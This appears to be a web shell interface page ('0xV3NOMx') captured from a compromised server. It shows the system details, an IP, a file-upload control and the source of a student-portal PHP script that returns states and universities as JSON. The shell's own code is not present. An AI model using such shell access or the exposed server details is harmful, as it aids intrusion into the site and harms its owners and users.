0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.116.89.70


Current Path : /var/www/html/studentportal_test/
Upload File :
Current File : /var/www/html/studentportal_test/getstatesanduniv.php

<?php
include ("database.php");

$query = 'select distinct fstate from dbname';
$result = mysqli_query($conn,$query);
while ($row = $result->fetch_assoc()) {
	$array[] = $row;
}
$arr["state"] = $array;
$query = "select fstate, funivcode, funivname from dbname";
$result = mysqli_query($conn,$query);
while ($row = $result->fetch_assoc()) {
	$array1[] = $row;
}
$arr["university"] = $array1;

echo json_encode($arr);

?>